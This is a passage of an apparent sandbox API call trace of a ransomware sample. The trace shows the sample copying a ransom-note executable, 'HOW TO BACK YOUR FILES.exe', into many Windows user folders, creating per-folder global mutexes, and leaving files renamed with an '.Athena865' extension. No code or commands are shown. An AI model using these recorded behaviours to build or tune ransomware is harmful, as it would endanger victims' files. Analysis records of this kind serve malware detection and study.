CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\local settings\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.739] FindNextFileW (in: hFindFile=0x529a10, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0100.739] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0100.739] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0100.739] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\local settings\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.740] FindNextFileW (in: hFindFile=0x529a10, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0100.740] FindClose (in: hFindFile=0x529a10 | out: hFindFile=0x529a10) returned 1 [0100.740] ReleaseMutex (hMutex=0xec) returned 1 [0100.740] CloseHandle (hObject=0xec) returned 1 [0100.740] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default User\\Music" | out: lpString1="C:\\Users\\Default User\\Music") returned="C:\\Users\\Default User\\Music" [0100.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529a50 | out: hHeap=0x4f0000) returned 1 [0100.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b408 | out: hHeap=0x4f0000) returned 1 [0100.740] lstrlenW (lpString="C:\\Users\\Default User\\Music") returned 27 [0100.740] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A7C2387AD18E25BF928BCD7500696DB1") returned 0xec [0100.740] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.740] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Music" | out: lpString1="C:\\Users\\Default User\\Music") returned="C:\\Users\\Default User\\Music" [0100.740] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.740] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.741] CreateFileW (lpFileName="C:\\Users\\Default User\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.741] GetLastError () returned 0x0 [0100.741] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.741] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.741] CloseHandle (hObject=0xf4) returned 1 [0100.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.741] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.741] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7af1700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7af1700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.741] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\My Documents" | out: lpString1="C:\\Users\\Default User\\My Documents") returned="C:\\Users\\Default User\\My Documents" [0100.741] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.741] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.742] CreateFileW (lpFileName="C:\\Users\\Default User\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\my documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.742] GetLastError () returned 0x0 [0100.742] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.742] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.742] CloseHandle (hObject=0xf4) returned 1 [0100.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.742] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.742] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\My Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7902520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.743] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0100.743] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0100.743] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\my documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.743] FindNextFileW (in: hFindFile=0x529a50, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0100.743] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0100.743] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0100.743] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\my documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.744] FindNextFileW (in: hFindFile=0x529a50, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0100.744] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0100.744] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0100.744] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\my documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.745] FindNextFileW (in: hFindFile=0x529a50, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0100.745] FindClose (in: hFindFile=0x529a50 | out: hFindFile=0x529a50) returned 1 [0100.745] ReleaseMutex (hMutex=0xec) returned 1 [0100.745] CloseHandle (hObject=0xec) returned 1 [0100.745] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default User\\NetHood" | out: lpString1="C:\\Users\\Default User\\NetHood") returned="C:\\Users\\Default User\\NetHood" [0100.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50fd48 | out: hHeap=0x4f0000) returned 1 [0100.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b438 | out: hHeap=0x4f0000) returned 1 [0100.745] lstrlenW (lpString="C:\\Users\\Default User\\NetHood") returned 29 [0100.745] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\35797802D0AFABC7D4EA1C8DCBD967E6") returned 0xec [0100.745] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.745] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\NetHood" | out: lpString1="C:\\Users\\Default User\\NetHood") returned="C:\\Users\\Default User\\NetHood" [0100.745] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.745] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.746] CreateFileW (lpFileName="C:\\Users\\Default User\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\nethood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.746] GetLastError () returned 0x0 [0100.746] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.746] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.746] CloseHandle (hObject=0xf4) returned 1 [0100.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.746] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.746] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\NetHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.746] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Pictures" | out: lpString1="C:\\Users\\Default User\\Pictures") returned="C:\\Users\\Default User\\Pictures" [0100.746] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.746] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.747] CreateFileW (lpFileName="C:\\Users\\Default User\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.747] GetLastError () returned 0x0 [0100.747] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.747] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.747] CloseHandle (hObject=0xf4) returned 1 [0100.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.748] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.748] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b3d9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b3d9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.748] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\PrintHood" | out: lpString1="C:\\Users\\Default User\\PrintHood") returned="C:\\Users\\Default User\\PrintHood" [0100.748] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.748] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.748] CreateFileW (lpFileName="C:\\Users\\Default User\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\printhood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.749] GetLastError () returned 0x0 [0100.749] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.749] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.749] CloseHandle (hObject=0xf4) returned 1 [0100.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.749] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.749] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\PrintHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.749] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Recent" | out: lpString1="C:\\Users\\Default User\\Recent") returned="C:\\Users\\Default User\\Recent" [0100.749] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.749] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.750] CreateFileW (lpFileName="C:\\Users\\Default User\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\recent\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.750] GetLastError () returned 0x0 [0100.750] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.750] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.750] CloseHandle (hObject=0xf4) returned 1 [0100.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.750] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.750] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Recent\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b89c80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b89c80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.750] lstrcatW (in: lpString1="AutomaticDestinations", lpString2="\\" | out: lpString1="AutomaticDestinations\\") returned="AutomaticDestinations\\" [0100.750] lstrcatW (in: lpString1="AutomaticDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe") returned="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" [0100.750] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\recent\\automaticdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.751] FindNextFileW (in: hFindFile=0x529a50, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b63b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0100.751] lstrcatW (in: lpString1="CustomDestinations", lpString2="\\" | out: lpString1="CustomDestinations\\") returned="CustomDestinations\\" [0100.751] lstrcatW (in: lpString1="CustomDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CustomDestinations\\HOW TO BACK YOUR FILES.exe") returned="CustomDestinations\\HOW TO BACK YOUR FILES.exe" [0100.751] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\recent\\customdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.752] FindNextFileW (in: hFindFile=0x529a50, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7bafde0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0100.752] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Saved Games" | out: lpString1="C:\\Users\\Default User\\Saved Games") returned="C:\\Users\\Default User\\Saved Games" [0100.752] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.752] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.752] CreateFileW (lpFileName="C:\\Users\\Default User\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\saved games\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.752] GetLastError () returned 0x0 [0100.752] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.753] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.753] CloseHandle (hObject=0xf4) returned 1 [0100.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.753] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.753] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Saved Games\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7bd5f40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7bd5f40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.753] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Searches" | out: lpString1="C:\\Users\\Default User\\Searches") returned="C:\\Users\\Default User\\Searches" [0100.753] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.753] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), 